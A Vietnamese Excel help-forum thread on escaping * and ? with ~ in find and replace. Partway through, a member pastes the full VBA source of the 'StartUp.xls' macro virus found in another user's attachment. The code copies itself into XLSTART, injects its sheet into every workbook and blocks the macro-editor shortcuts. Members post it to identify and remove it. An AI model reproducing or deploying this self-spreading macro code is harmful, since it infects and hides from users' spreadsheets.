Các bạn chỉ giúp mình cách tìm kiếm và thay thế các ký tự * thành các ký tự khác

[hatmip]

Mình có 1 bảng tính, trong 1 ô có chứa 3 loại dữ liệu sau
- Loại 1: các ký tự A, B, C, D
- Loại 2: ký tự -
- Loại 3: ký tự *

Giờ mình muốn đếm xem có bao nhiêu ô chứa ký tự * thì làm thế nào?

Muốn thay thế các ô có chứa ký tự * thành các ký tự khác thì làm cách nào?

 

[hatmip]

Mình vừa search được trên mạng cách giải quyết vấn đề này rồi.
Chỉ việc thêm ký tự ~ trước ký tự * là xong.
Cám ơn các bạn rất nhiều.

 

[haonlh]

Đọc của hatmip thì biết thêm. Thử thì thấy
nếu thay dấu ~ bằng kí tự khác thì phải viết 2 lần ~~
nếu thay dấu ? bằng kí tự khác thì phải viết ~?

Nhớ hồi học PASCAL, in đoạn văn "It's a cat" phải viết là
writeln('It''s a cat')

chú ý là 2 nháy đơn trước s.

 

[TrinhThiHai_Kt]

Đọc lại bài của hatmip giờ biết thêm cách làm thay thế *,?...
Cám ơn bạn!

 

[thanhsangnguyen1982]

Tìm kiếm và thay thê

Mình dùng công thức theo yêu cầu của bạn, ko biết bạn dùng được ko, xem file nhe!

 

[Ba Tê]

Mình dùng công thức theo yêu cầu của bạn, ko biết bạn dùng được ko, xem file nhe!

File nào Bạn đưa lên cũng có mấy thằng "lu bu" này làm phiền mọi người, sao không xóa quách nó đi.

Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

 

[thanhsangnguyen1982]

mình dốt excel lắm, nen không biết xoá.Bạn giỏi thì xoá giúp mình nhé, thanks!!!hiiiii

 

[dhn46]

File nào Bạn đưa lên cũng có mấy thằng "lu bu" này làm phiền mọi người, sao không xóa quách nó đi.

e nghĩ chắc đấy là virút macro. E cũng bị nó làm phiền, nên down soft diệt virut macro của nah Nguyễn Duy Tuân để diệt. Không biết cái này có từ đâu? em lần mò trong add-in không có, xoá module... khởi động excel là lại dính...

 

[Ba Tê]

e nghĩ chắc đấy là virút macro. E cũng bị nó làm phiền, nên down soft diệt virut macro của nah Nguyễn Duy Tuân để diệt. Không biết cái này có từ đâu? em lần mò trong add-in không có, xoá module... khởi động excel là lại dính...

Cái vụ này chắc phải tạo topic mới để các Bạn có kinh nghiệm giải quyết. Bàn vấn đề này ở đây hình như không phải chỗ.
Thường thì tôi xem trong Folder này có tập tin nào đó thì xóa đi, xóa module lạ trong file .xls nếu có.
C:\Program Files\Microsoft Office\OFFICE11\XLSTART